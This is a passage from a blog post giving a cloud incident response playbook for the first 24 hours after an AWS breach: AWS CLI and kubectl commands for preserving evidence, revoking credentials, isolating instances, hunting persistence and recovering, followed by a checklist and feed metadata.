  --lookup-attributes AttributeKey=Username,AttributeValue=suspected-role \
  --start-time $(date -d &#039;1 hour ago&#039; --iso-8601=seconds) \
  --query &#039;Events[*].[EventTime,EventName,Resources[0].ResourceName]&#039; \
  --output table
</code></pre>
<pre><code class="" data-line=""># If you don&#039;t know the principal yet — look for unusual API activity
# across all principals in the last hour
aws cloudtrail lookup-events \
  --start-time $(date -d &#039;1 hour ago&#039; --iso-8601=seconds) \
  --query &#039;Events[*].{Time:EventTime,User:Username,Event:EventName,Source:EventSource}&#039; \
  --output json | \
  jq &#039;sort_by(.Time) | reverse | .[:50]&#039;
# Look for: CreateUser, AttachRolePolicy, PutRolePolicy, CreateAccessKey,
#           GetSecretValue, ListBuckets, DescribeInstances in rapid succession
</code></pre>
<pre><code class="" data-line=""># Check GuardDuty for the triggering finding
DETECTOR_ID=$(aws guardduty list-detectors --query &#039;DetectorIds[0]&#039; --output text)

aws guardduty get-findings \
  --detector-id &quot;${DETECTOR_ID}&quot; \
  --finding-ids $(aws guardduty list-findings \
    --detector-id &quot;${DETECTOR_ID}&quot; \
    --finding-criteria &#039;{
      &quot;Criterion&quot;: {
        &quot;updatedAt&quot;: {&quot;Gte&quot;: &#039;$(date -d &#039;24 hours ago&#039; +%s000)&#039;}
      }
    }&#039; \
    --sort-criteria &#039;{&quot;AttributeName&quot;:&quot;updatedAt&quot;,&quot;OrderBy&quot;:&quot;DESC&quot;}&#039; \
    --max-results 10 \
    --query &#039;FindingIds&#039; --output text) | \
  jq &#039;.Findings[] | {type: .Type, severity: .Severity, time: .UpdatedAt, detail: .Description}&#039;
</code></pre>
<hr />
<h2 id="hour-14-contain-without-destroying-evidence">Hour 1–4: Contain Without Destroying Evidence</h2>
<p>The central tension in early containment: you need to stop the bleeding, but you also need the evidence. Terminating a compromised EC2 instance stops the threat on that instance — it also destroys the process table, network connections, in-memory artifacts, and filesystem state that the investigation needs.</p>
<p><strong>The order of operations:</strong><br />
1. Preserve (snapshot, export logs)<br />
2. Contain (revoke credentials, isolate network)<br />
3. Never terminate before step 1</p>
<h3 id="evidence-preservation-before-any-containment-action">Evidence Preservation (Before Any Containment Action)</h3>
<pre><code class="" data-line=""># Create EBS snapshots of ALL volumes on compromised instances
# Do this FIRST — before network isolation, before anything
aws ec2 describe-instances \
  --instance-ids i-compromised-instance-id \
  --query &#039;Reservations[].Instances[].BlockDeviceMappings[].Ebs.VolumeId&#039; \
  --output text | tr &#039;\t&#039; &#039;\n&#039; | \
  while read vol_id; do
    echo &quot;Snapshotting volume: ${vol_id}&quot;
    aws ec2 create-snapshot \
      --volume-id &quot;${vol_id}&quot; \
      --description &quot;IR evidence - $(date --iso-8601) - ${vol_id}&quot; \
      --tag-specifications &quot;ResourceType=snapshot,Tags=[{Key=incident,Value=active},{Key=preserve,Value=legal-hold}]&quot;
  done
</code></pre>
<pre><code class="" data-line=""># Export CloudTrail logs for the incident window to a local IR evidence directory
# Use a time window that starts 24 hours before the suspected compromise
aws s3 sync \
  s3://your-cloudtrail-bucket/AWSLogs/123456789012/CloudTrail/ \
  ./ir-evidence/cloudtrail/ \
  --exclude &quot;*&quot; \
  --include &quot;*/2024/02/21/*&quot; \
  --include &quot;*/2024/02/22/*&quot;
</code></pre>
<pre><code class="" data-line=""># Export VPC Flow Logs for the incident window
# These show network connections that CloudTrail doesn&#039;t capture
aws logs filter-log-events \
  --log-group-name /aws/vpc/flowlogs \
  --start-time $(date -d &#039;24 hours ago&#039; +%s000) \
  --end-time $(date +%s000) \
  --query &#039;events[*].message&#039; \
  --output text &gt; ./ir-evidence/vpc-flow-logs.txt
</code></pre>
<h3 id="containment-action-1-revoke-the-compromised-credential">Containment Action 1: Revoke the Compromised Credential</h3>
<pre><code class="" data-line=""># Option A: Disable an IAM user&#039;s access key (reversible — preserves key for forensics)
aws iam update-access-key \
  --user-name compromised-user \
  --access-key-id AKIAIOSFODNN7EXAMPLE \
  --status Inactive

# Option B: If the compromised principal is an IAM role —
# attach a deny-all inline policy (fastest, takes effect immediately)
aws iam put-role-policy \
  --role-name compromised-role \
  --policy-name incident-deny-all \
  --policy-document &#039;{
    &quot;Version&quot;: &quot;2012-10-17&quot;,
    &quot;Statement&quot;: [
      {
        &quot;Sid&quot;: &quot;IncidentDenyAll&quot;,
        &quot;Effect&quot;: &quot;Deny&quot;,
        &quot;Action&quot;: &quot;*&quot;,
        &quot;Resource&quot;: &quot;*&quot;
      }
    ]
  }&#039;
</code></pre>
<pre><code class="" data-line=""># Option C: If you need to revoke ALL active sessions for a role immediately
# (active STS sessions are not invalidated by the deny policy alone
#  until the session token expires — use this to force immediate revocation)
aws iam put-role-policy \
  --role-name compromised-role \
  --policy-name incident-deny-all \
  --policy-document &#039;{
    &quot;Version&quot;: &quot;2012-10-17&quot;,
    &quot;Statement&quot;: [
      {
        &quot;Effect&quot;: &quot;Deny&quot;,
        &quot;Action&quot;: &quot;*&quot;,
        &quot;Resource&quot;: &quot;*&quot;,
        &quot;Condition&quot;: {
          &quot;DateLessThan&quot;: {
            &quot;aws:TokenIssueTime&quot;: &quot;&#039;$(date --iso-8601=seconds)&#039;&quot;
          }
        }
      }
    ]
  }&#039;
# This denies all requests where the token was issued before right now
# — effectively invalidating all existing sessions for this role
</code></pre>
<h3 id="containment-action-2-isolate-affected-ec2-instances">Containment Action 2: Isolate Affected EC2 Instances</h3>
<pre><code class="" data-line=""># Create an isolation security group — no ingress, no egress
# except SSH from your IR bastion (for forensic access if needed)
ISOLATION_SG=$(aws ec2 create-security-group \
  --group-name &quot;incident-isolation-$(date +%Y%m%d)&quot; \
  --description &quot;Incident isolation - no network access except IR bastion&quot; \
  --vpc-id vpc-your-vpc-id \
  --query &#039;GroupId&#039; \
  --output text)

echo &quot;Isolation SG created: ${ISOLATION_SG}&quot;

# Add ingress rule: only from IR bastion (for forensic access)
# Remove this rule entirely if you don&#039;t need it
aws ec2 authorize-security-group-ingress \
  --group-id &quot;${ISOLATION_SG}&quot; \
  --protocol tcp \
  --port 22 \
  --cidr YOUR-IR-BASTION-IP/32

# Apply the isolation SG to the compromised instance
# This replaces all existing security groups — the instance is now isolated
aws ec2 modify-instance-attribute \
  --instance-id i-compromised-instance-id \
  --groups &quot;${ISOLATION_SG}&quot;
</code></pre>
<p><strong>Important:</strong> Do not terminate the instance. The isolated instance remains available for forensic analysis via the IR bastion. Termination destroys volatile evidence. You terminate after the investigation is complete and legal has cleared the evidence for destruction.</p>
<h3 id="containment-action-3-kubernetes-cordon-dont-delete">Containment Action 3: Kubernetes — Cordon, Don&#8217;t Delete</h3>
<pre><code class="" data-line=""># Cordon the compromised node — prevents new pod scheduling
kubectl cordon node/compromised-node-name

# Label the node for IR tracking
kubectl label node/compromised-node-name incident=active preserve=legal-hold

# If a specific pod is the concern — do NOT kubectl delete pod
# Instead, collect forensic information first
POD_NAME=&quot;compromised-pod&quot;
NAMESPACE=&quot;production&quot;

# Capture the full pod spec and status
kubectl get pod &quot;${POD_NAME}&quot; -n &quot;${NAMESPACE}&quot; -o json &gt; \
  ./ir-evidence/pod-spec-${POD_NAME}.json

# Capture environment variables (may contain credential evidence)
kubectl exec &quot;${POD_NAME}&quot; -n &quot;${NAMESPACE}&quot; -- env &gt; \
  ./ir-evidence/pod-env-${POD_NAME}.txt 2&gt;/dev/null

# Capture running processes
kubectl exec &quot;${POD_NAME}&quot; -n &quot;${NAMESPACE}&quot; -- ps auxf &gt; \
  ./ir-evidence/pod-processes-${POD_NAME}.txt 2&gt;/dev/null

# Capture network connections
kubectl exec &quot;${POD_NAME}&quot; -n &quot;${NAMESPACE}&quot; -- ss -tunapw &gt; \
  ./ir-evidence/pod-netstat-${POD_NAME}.txt 2&gt;/dev/null

# Now you can delete the pod if needed — you have the evidence
</code></pre>
<hr />
<h2 id="hour-412-investigate-the-blast-radius">Hour 4–12: Investigate the Blast Radius</h2>
<p>Containment stops the active threat. Investigation answers: what did they do, where did they go, and what did they touch?</p>
<h3 id="trace-the-lateral-movement">Trace the Lateral Movement</h3>
<p>The most important lateral movement mechanism in AWS is AssumeRole chaining — a compromised principal assumes a role, which has permissions to assume another role, building a privilege escalation path. <a href="/aws-iam-privilege-escalation/">IAM attack path reconstruction</a> requires following this chain through CloudTrail.</p>
<pre><code class="" data-line=""># Find all AssumeRole events from the compromised principal
# This shows every role the attacker assumed after initial compromise
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=AssumeRole \
  --start-time &quot;2024-02-21T00:00:00Z&quot; \
  --end-time &quot;2024-02-22T23:59:59Z&quot; \
  --output json | \
  jq &#039;.Events[] | 
    (.CloudTrailEvent | fromjson) | 
    select(.userIdentity.arn | contains(&quot;compromised-role&quot;)) | 
    {
      time: .eventTime,
      caller: .userIdentity.arn,
      assumed_role: .requestParameters.roleArn,
      session_name: .requestParameters.roleSessionName,
      source_ip: .sourceIPAddress
    }&#039;
</code></pre>
<pre><code class="" data-line=""># Follow the chain — get ALL roles assumed during the incident window
# regardless of source, then trace connections manually
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=AssumeRole \
  --start-time &quot;2024-02-21T00:00:00Z&quot; \
  --end-time &quot;2024-02-22T23:59:59Z&quot; \
  --output json | \
  jq -r &#039;.Events[] | 
    (.CloudTrailEvent | fromjson) | 
    [.eventTime, .userIdentity.arn, .requestParameters.roleArn, .sourceIPAddress] | 
    @tsv&#039; | \
  sort -k1
# Build the graph manually: which ARN called AssumeRole for which target role
# Any role not in your expected deployment automation is suspicious
</code></pre>
<h3 id="find-what-data-was-accessed">Find What Data Was Accessed</h3>
<pre><code class="" data-line=""># S3 GetObject events — shows every object the attacker read
# NOTE: S3 data events are NOT enabled by default in CloudTrail
# If you haven&#039;t pre-enabled them, this query returns nothing useful
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=GetObject \
  --start-time &quot;2024-02-21T00:00:00Z&quot; \
  --end-time &quot;2024-02-22T23:59:59Z&quot; \
  --output json | \
  jq &#039;.Events[] | 
    (.CloudTrailEvent | fromjson) | 
    {
      time: .eventTime,
      user: .userIdentity.arn,
      bucket: .requestParameters.bucketName,
      key: .requestParameters.key,
      source_ip: .sourceIPAddress
    }&#039;
</code></pre>
<pre><code class="" data-line=""># Secrets Manager — what secrets were accessed?
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=GetSecretValue \
  --start-time &quot;2024-02-21T00:00:00Z&quot; \
  --output json | \
  jq &#039;.Events[] | 
    (.CloudTrailEvent | fromjson) | 
    {
      time: .eventTime,
      user: .userIdentity.arn,
      secret: .requestParameters.secretId,
      source_ip: .sourceIPAddress
    }&#039;
</code></pre>
<pre><code class="" data-line=""># KMS — what was decrypted?
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=Decrypt \
  --start-time &quot;2024-02-21T00:00:00Z&quot; \
  --output json | \
  jq &#039;.Events[] | 
    (.CloudTrailEvent | fromjson) | 
    {
      time: .eventTime,
      user: .userIdentity.arn,
      key_id: .requestParameters.keyId,
      source_ip: .sourceIPAddress
    }&#039;
</code></pre>
<h3 id="hunt-for-persistence-mechanisms">Hunt for Persistence Mechanisms</h3>
<p>Attackers establish persistence before detonating ransomware or before exfiltrating at scale. The most common persistence mechanisms in AWS:</p>
<pre><code class="" data-line=""># New IAM users created during the incident window
aws iam list-users \
  --query &#039;Users[?CreateDate&gt;=`2024-02-21T00:00:00Z`].[UserName,CreateDate,UserId]&#039; \
  --output table

# New IAM roles created during the incident window
aws iam list-roles \
  --query &#039;Roles[?CreateDate&gt;=`2024-02-21T00:00:00Z`].[RoleName,CreateDate,RoleId]&#039; \
  --output table

# New IAM access keys created for existing users
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=CreateAccessKey \
  --start-time &quot;2024-02-21T00:00:00Z&quot; \
  --output json | \
  jq &#039;.Events[] | (.CloudTrailEvent | fromjson) | {time: .eventTime, user: .requestParameters.userName, by: .userIdentity.arn}&#039;
</code></pre>
<pre><code class="" data-line=""># Lambda functions with recent code modifications
# (Lambda is a common backdoor target — function code is easy to modify)
aws lambda list-functions \
  --query &#039;Functions[?LastModified&gt;=`2024-02-21`].[FunctionName,LastModified,Runtime]&#039; \
  --output table

# For any recently modified function — check for unexpected environment variables
aws lambda get-function-configuration \
  --function-name suspicious-function-name \
  --query &#039;{env: Environment.Variables, role: Role, handler: Handler}&#039;
</code></pre>
<pre><code class="" data-line=""># CloudFormation stacks created or modified during incident window
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=CreateStack \
  --start-time &quot;2024-02-21T00:00:00Z&quot; \
  --output json | \
  jq &#039;.Events[] | (.CloudTrailEvent | fromjson) | {time: .eventTime, stack: .requestParameters.stackName, by: .userIdentity.arn}&#039;

# EC2 user-data modifications (backdoor via user data on restart)
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=ModifyInstanceAttribute \
  --start-time &quot;2024-02-21T00:00:00Z&quot; \
  --output json | \
  jq &#039;.Events[] | (.CloudTrailEvent | fromjson) | select(.requestParameters | has(&quot;userData&quot;)) | {time: .eventTime, instance: .requestParameters.instanceId, by: .userIdentity.arn}&#039;
</code></pre>
<h3 id="ebpf-and-falco-evidence-if-available">eBPF and Falco Evidence (If Available)</h3>
<p>If your environment runs Falco or Cilium Tetragon (see <a href="/detection-engineering-ebpf-cloud/">detection engineering with eBPF</a>), the kernel-level telemetry from EP11 is now forensic evidence:</p>
<pre><code class="" data-line=""># Tetragon: export process execution events for the incident window
# Tetragon writes to /var/log/tetragon/tetragon.log by default
# Filter by the time window and affected pod/node

# On the affected node (or via log aggregation if you ship to a SIEM):
cat /var/log/tetragon/tetragon.log | \
  jq &#039;select(.time &gt;= &quot;2024-02-21T00:00:00Z&quot; and .time &lt;= &quot;2024-02-22T23:59:59Z&quot;) |
    select(.process_exec != null) |
    {
      time: .time,
      pod: .process_exec.process.pod.name,
      ns: .process_exec.process.pod.namespace,
      binary: .process_exec.process.binary,
      args: .process_exec.process.arguments,
      parent: .process_exec.parent.binary
    }&#039; | head -100
</code></pre>
<pre><code class="" data-line=""># Falco: pull alerts from the incident window out of your SIEM/log store
# If you&#039;re running Falco with file output:
grep &quot;2024-02-21\|2024-02-22&quot; /var/log/falco/events.json | \
  jq &#039;select(.priority == &quot;Critical&quot; or .priority == &quot;Error&quot;) |
    {time: .time, rule: .rule, output: .output, pod: .output_fields.&quot;k8s.pod.name&quot;}&#039; | \
  head -50
</code></pre>
<p>Process lineage from Tetragon (which parent process spawned which child) is often the clearest signal of container escape or lateral movement within a cluster. It shows attack paths that API-layer logging cannot reconstruct.</p>
<hr />
<h2 id="hour-1224-eradicate-and-recover">Hour 12–24: Eradicate and Recover</h2>
<h3 id="remove-persistence">Remove Persistence</h3>
<p>Work through the persistence findings from the investigation phase in order:</p>
<pre><code class="" data-line=""># Delete unauthorized IAM users created during the incident
# First: disable their access keys
aws iam list-access-keys --user-name attacker-created-user \
  --query &#039;AccessKeyMetadata[].AccessKeyId&#039; --output text | \
  tr &#039;\t&#039; &#039;\n&#039; | \
  while read key_id; do
    aws iam update-access-key --user-name attacker-created-user \
      --access-key-id &quot;${key_id}&quot; --status Inactive
  done

# Then: detach all policies, remove from groups, delete login profile, delete user
aws iam detach-user-policy --user-name attacker-created-user \
  --policy-arn arn:aws:iam::123456789012:policy/attached-policy
aws iam delete-user --user-name attacker-created-user
</code></pre>
<pre><code class="" data-line=""># Rotate ALL credentials that could have been accessed during the incident window
# Not just the initial compromise — every secret in the blast radius

# List all IAM user access keys in the affected account
aws iam list-users --query &#039;Users[].UserName&#039; --output text | tr &#039;\t&#039; &#039;\n&#039; | \
  while read user; do
    aws iam list-access-keys --user-name &quot;${user}&quot; \
      --query &#039;AccessKeyMetadata[?Status==`Active`].{User:UserName,Key:AccessKeyId}&#039; \
      --output json
  done | jq -s &#039;flatten&#039;
# For each key: create new key → update application config → delete old key
</code></pre>
<pre><code class="" data-line=""># Remove Lambda backdoors — restore from last known-good deployment
# Do NOT patch the modified function — replace the entire deployment package
aws lambda update-function-code \
  --function-name backdoored-function \
  --s3-bucket your-code-bucket \
  --s3-key known-good/function-v1.2.3.zip

# Reset environment variables (remove anything added during incident)
aws lambda update-function-configuration \
  --function-name backdoored-function \
  --environment &#039;Variables={EXPECTED_VAR=expected_value}&#039;
</code></pre>
<h3 id="replace-compromised-instances-from-known-good-baselines">Replace Compromised Instances From Known-Good Baselines</h3>
<p>Do not patch a compromised instance and return it to production. The instance&#8217;s integrity is unknown — the attacker may have modified binaries, installed kernel modules, or altered the init system in ways that a filesystem scan won&#8217;t catch.</p>
<p>Replace from a known-good hardened image:</p>
<pre><code class="" data-line=""># Launch a replacement from a hardened baseline AMI
# If you&#039;re running a Stratum-built image pipeline, this is where it pays off:
# you have a signed, hardened, versioned AMI to replace from

aws ec2 run-instances \
  --image-id ami-known-good-hardened-baseline \
  --instance-type t3.medium \
  --subnet-id subnet-your-private-subnet \
  --security-groups sg-your-normal-sg \
  --iam-instance-profile Name=your-instance-profile \
  --tag-specifications \
    &#039;ResourceType=instance,Tags=[{Key=Name,Value=replacement-post-incident},{Key=incident-id,Value=2024-02-21}]&#039; \
  --user-data file://init-script.sh
</code></pre>
<p>If you don&#8217;t have a hardened AMI pipeline, this incident is the forcing function to build one. Rebuilding from a generic AMI means re-running your full configuration management stack and hoping nothing drifts. Rebuilding from a known-good hardened baseline means launching and verifying.</p>
<h3 id="recovery-sequence">Recovery Sequence</h3>
<pre><code class="" data-line="">dev → staging → prod

Not prod first. Not all at once.
</code></pre>
<p>Bring dev back up. Verify monitoring and alerting are functional — specifically, verify that the detection that fired during this incident still fires in dev. If you can&#8217;t reproduce the detection in dev, you don&#8217;t know if it&#8217;s working.</p>
<p>Promote to staging. Run your standard smoke tests plus whatever you added to your detection suite based on this incident.</p>
<p>Promote to prod only after staging has been clean for at least four hours.</p>
<hr />
<h2 id="the-post-incident-review">The Post-Incident Review</h2>
<p>Schedule it within 72 hours of resolution. Not a blame session — a timeline reconstruction and process improvement meeting. What to document:</p>
<p><strong>Timeline reconstruction (to the minute):</strong></p>
<table>
<thead>
<tr>
<th>Time</th>
<th>Event</th>
<th>Who</th>
<th>Evidence Source</th>
</tr>
</thead>
<tbody>
<tr>
<td>Feb 21 12:47</td>
<td>Initial compromise — credential used from unexpected IP</td>
<td>Attacker</td>
<td>CloudTrail</td>
</tr>
<tr>
<td>Feb 21 12:51</td>
<td>First AssumeRole to production role</td>
<td>Attacker</td>
<td>CloudTrail</td>
</tr>
<tr>
<td>Feb 21 13:15</td>
<td>S3 ListBuckets on customer-data bucket</td>
<td>Attacker</td>
<td>CloudTrail data events</td>
</tr>
<tr>
<td>Feb 21 21:30</td>
<td>GuardDuty fires: UnauthorizedAccess:IAMUser/AnomalousBehavior</td>
<td>GuardDuty</td>
<td>GuardDuty finding</td>
</tr>
<tr>
<td>Feb 21 21:35</td>
<td>On-call engineer acknowledges alert</td>
<td>SRE</td>
<td>PagerDuty</td>
</tr>
<tr>
<td>Feb 21 21:50</td>
<td>Incident declared, channel created</td>
<td>IR lead</td>
<td>Slack</td>
</tr>
</tbody>
</table>
<p><strong>Key metrics to measure and improve:</strong></p>
<ul>
<li><strong>Mean Time to Detect (MTTD):</strong> Time between initial compromise and first alert</li>
<li><strong>Mean Time to Declare (MTTDeclare):</strong> Time between first alert and formal incident declaration</li>
<li><strong>Mean Time to Contain (MTTC):</strong> Time between declaration and credential revocation + network isolation</li>
<li><strong>Blast radius:</strong> Accounts, services, data classifications confirmed in scope</li>
</ul>
<p><strong>Regulatory notification requirements (know these before the incident):</strong></p>
<ul>
<li>GDPR: 72 hours from discovery to supervisory authority notification</li>
<li>HIPAA: 60 days from discovery to individual notification; 60 days to HHS for breaches affecting 500+ individuals</li>
<li>CCPA: &#8220;expedient&#8221; notification to individuals; no fixed statutory window for regulator notification but AG guidance suggests 72 hours</li>
<li>SEC (public companies): 4 business days from determining the incident is &#8220;material&#8221;</li>
<li>Check your state breach notification laws — 50 states, 50 different windows</li>
</ul>
<hr />
<h2 id="production-gotchas"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Production Gotchas</h2>
<p><strong>Revoking a credential mid-operation breaks running jobs.</strong> If the compromised IAM role is used by production services, the deny-all policy will immediately break those services. Have a plan for emergency credential rotation before you act — either a separate role for legitimate services or a maintenance window. The contain-vs-service-availability tradeoff is a real one; make it deliberately, document it in the incident log.</p>
<p><strong>CloudTrail data events are not enabled by default.</strong> Management events (API calls like CreateUser, RunInstances, AssumeRole) are enabled. Data events (S3 GetObject, Lambda function invocations, DynamoDB item-level activity) must be explicitly enabled and cost extra. If you discover during an incident that you needed S3 data events and didn&#8217;t have them, you cannot reconstruct what data the attacker accessed. Enable them before the incident.</p>
<p><strong>Forensic snapshots cost money.</strong> EBS snapshot storage is not free, and snapshotting every volume on every compromised instance adds up. Have a pre-approved IR budget that includes forensic snapshot costs — getting financial approval in the middle of an active incident is a delay you don&#8217;t want.</p>
<p><strong>Legal hold means don&#8217;t delete anything.</strong> Once legal is involved, no evidence can be destroyed without legal clearance. That includes the compromised EC2 instances, the forensic snapshots, the log exports, and the incident Slack channel. Set legal-hold tags on all IR artifacts immediately and don&#8217;t clean up until legal explicitly says to.</p>
<p><strong>The attacker may still be in.</strong> Containment removes one credential and one network path. If the attacker established multiple persistence mechanisms before you detected them, containment is the beginning of the eradication phase, not the end. Assume they&#8217;re still in until the persistence hunt is complete.</p>
<p><strong>Multi-account blast radius compounds quickly.</strong> AssumeRole chains can cross account boundaries. A compromised role in account A that can assume a role in account B means the blast radius spans both accounts, and CloudTrail logging in account A does not show what the attacker did after assuming the role in account B. Pull CloudTrail from every account in the blast radius.</p>
<hr />
<h2 id="quick-reference-ir-checklist-first-24-hours">Quick Reference: IR Checklist — First 24 Hours</h2>
<h3 id="hour-01-declare-and-scope">Hour 0–1: Declare and Scope</h3>
<ul>
<li>[ ] Declare incident — do not investigate quietly</li>
<li>[ ] Notify: CISO, Legal, on-call SRE lead</li>
<li>[ ] Create incident Slack channel: <code class="" data-line="">#incident-YYYY-MM-DD-descriptor</code></li>
<li>[ ] Start timestamped incident log (shared doc, assign scribe)</li>
<li>[ ] Query CloudTrail: last 1–2 hours of suspected principal activity</li>
<li>[ ] Check GuardDuty for active findings</li>
<li>[ ] Answer: active or historical? blast radius? data at risk?</li>
</ul>
<h3 id="hour-14-preserve-then-contain">Hour 1–4: Preserve, Then Contain</h3>
<ul>
<li>[ ] <strong>FIRST:</strong> Snapshot all volumes on compromised EC2 instances</li>
<li>[ ] <strong>FIRST:</strong> Export CloudTrail logs for incident window to IR evidence directory</li>
<li>[ ] <strong>FIRST:</strong> Export VPC Flow Logs for incident window</li>
<li>[ ] Revoke compromised IAM credential (disable key or attach deny-all policy)</li>
<li>[ ] For role sessions: use <code class="" data-line="">DateLessThan</code> condition to invalidate active sessions</li>
<li>[ ] Apply isolation security group to compromised EC2 instances (do NOT terminate)</li>
<li>[ ] Cordon compromised Kubernetes nodes (do NOT delete pods before forensic capture)</li>
<li>[ ] Collect pod forensics: spec, env vars, process list, network connections</li>
</ul>
<h3 id="hour-412-investigate">Hour 4–12: Investigate</h3>
<ul>
<li>[ ] Trace AssumeRole chain from compromised principal — build the lateral movement graph</li>
<li>[ ] Query S3 GetObject, GetSecretValue, Decrypt events for data access scope</li>
<li>[ ] Hunt persistence: new IAM users/roles, new access keys, Lambda modifications</li>
<li>[ ] Check EC2 user-data modifications, new CloudFormation stacks</li>
<li>[ ] Pull Tetragon/Falco evidence if available — process lineage and connection logs</li>
<li>[ ] Cross-account check: pull CloudTrail from every account reached via AssumeRole</li>
</ul>
<h3 id="hour-1224-eradicate-and-recover_1">Hour 12–24: Eradicate and Recover</h3>
<ul>
<li>[ ] Delete all unauthorized IAM users/roles/access keys created during incident</li>
<li>[ ] Rotate ALL credentials in the blast radius (not just the initial compromise)</li>
<li>[ ] Remove Lambda backdoors — replace entire deployment package, reset environment</li>
<li>[ ] Replace compromised instances from known-good hardened AMI (do not patch-in-place)</li>
<li>[ ] Recover: dev → staging → prod. Verify detection fires in dev before promoting.</li>
<li>[ ] Declare all-clear only after monitoring shows clean in prod for 4+ hours</li>
</ul>
<h3 id="ongoing-regulatory-and-communication">Ongoing: Regulatory and Communication</h3>
<ul>
<li>[ ] Log discovery time — regulatory clocks (GDPR 72h, HIPAA 60d) start at discovery</li>
<li>[ ] Legal hold on all IR artifacts — do not delete without legal clearance</li>
<li>[ ] Schedule post-incident review within 72 hours of resolution</li>
<li>[ ] Update this playbook before the next incident</li>
</ul>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li>A <strong>cloud incident response playbook</strong> only works if it has been rehearsed before the incident — the ChangeHealthcare attack showed that nine days of undetected dwell time transforms a credential theft into a national healthcare disruption</li>
<li>Preserve before you contain: snapshot volumes and export logs before revoking credentials or isolating instances — forensic evidence destroyed during hasty containment cannot be reconstructed</li>
<li>The contain-vs-evidence tension is real and deliberate: isolated EC2 instances remain available for forensic access via IR bastion; terminated instances do not</li>
<li>CloudTrail data events (S3 GetObject, Lambda invocations) are not enabled by default — if you need them during an incident and haven&#8217;t pre-enabled them, your data access scope is unknown</li>
<li>Recovery sequence is dev → staging → prod, and you verify detection fires in dev before promoting — if you can&#8217;t reproduce the detection that caught the original incident, you don&#8217;t know if it still works</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>This playbook is reactive. You run it after something goes wrong. EP13 is about making it proactive — running structured attack simulations against your own infrastructure on a regular cadence so the first time your team works through this sequence is not during an actual breach. Continuous purple team testing means your IR team has muscle memory for the playbook, your detection tooling is validated against real attack patterns, and your blast radius assumptions are tested before an attacker tests them for you.</p>
<p>Get EP13 in your inbox when it publishes → <a href="#subscribe">subscribe at linuxcent.com</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-incident-response-playbook-24-hours%2F&amp;linkname=Cloud%20Incident%20Response%20Playbook%3A%20First%2024%20Hours%20After%20a%20Breach" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-incident-response-playbook-24-hours%2F&amp;linkname=Cloud%20Incident%20Response%20Playbook%3A%20First%2024%20Hours%20After%20a%20Breach" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-incident-response-playbook-24-hours%2F&amp;linkname=Cloud%20Incident%20Response%20Playbook%3A%20First%2024%20Hours%20After%20a%20Breach" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-incident-response-playbook-24-hours%2F&amp;linkname=Cloud%20Incident%20Response%20Playbook%3A%20First%2024%20Hours%20After%20a%20Breach" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-incident-response-playbook-24-hours%2F&amp;linkname=Cloud%20Incident%20Response%20Playbook%3A%20First%2024%20Hours%20After%20a%20Breach" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-incident-response-playbook-24-hours%2F&amp;linkname=Cloud%20Incident%20Response%20Playbook%3A%20First%2024%20Hours%20After%20a%20Breach" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-incident-response-playbook-24-hours%2F&amp;linkname=Cloud%20Incident%20Response%20Playbook%3A%20First%2024%20Hours%20After%20a%20Breach" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fcloud-incident-response-playbook-24-hours%2F&#038;title=Cloud%20Incident%20Response%20Playbook%3A%20First%2024%20Hours%20After%20a%20Breach" data-a2a-url="https://linuxcent.com/cloud-incident-response-playbook-24-hours/" data-a2a-title="Cloud Incident Response Playbook: First 24 Hours After a Breach"></a></p><p>The post <a href="https://linuxcent.com/cloud-incident-response-playbook-24-hours/">Cloud Incident Response Playbook: First 24 Hours After a Breach</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/cloud-incident-response-playbook-24-hours/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1876</post-id>	</item>
		<item>
		<title>Continuous Security Validation: Proving Your Architecture Works</title>
		<link>https://linuxcent.com/continuous-security-validation/</link>
					<comments>https://linuxcent.com/continuous-security-validation/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Mon, 06 Jul 2026 21:32:07 +0000</pubDate>
				<category><![CDATA[Security Architecture]]></category>
		<category><![CDATA[Cloud Security]]></category>
		<category><![CDATA[Continuous Validation]]></category>
		<category><![CDATA[DevSecOps]]></category>
		<category><![CDATA[MITRE ATT&CK]]></category>
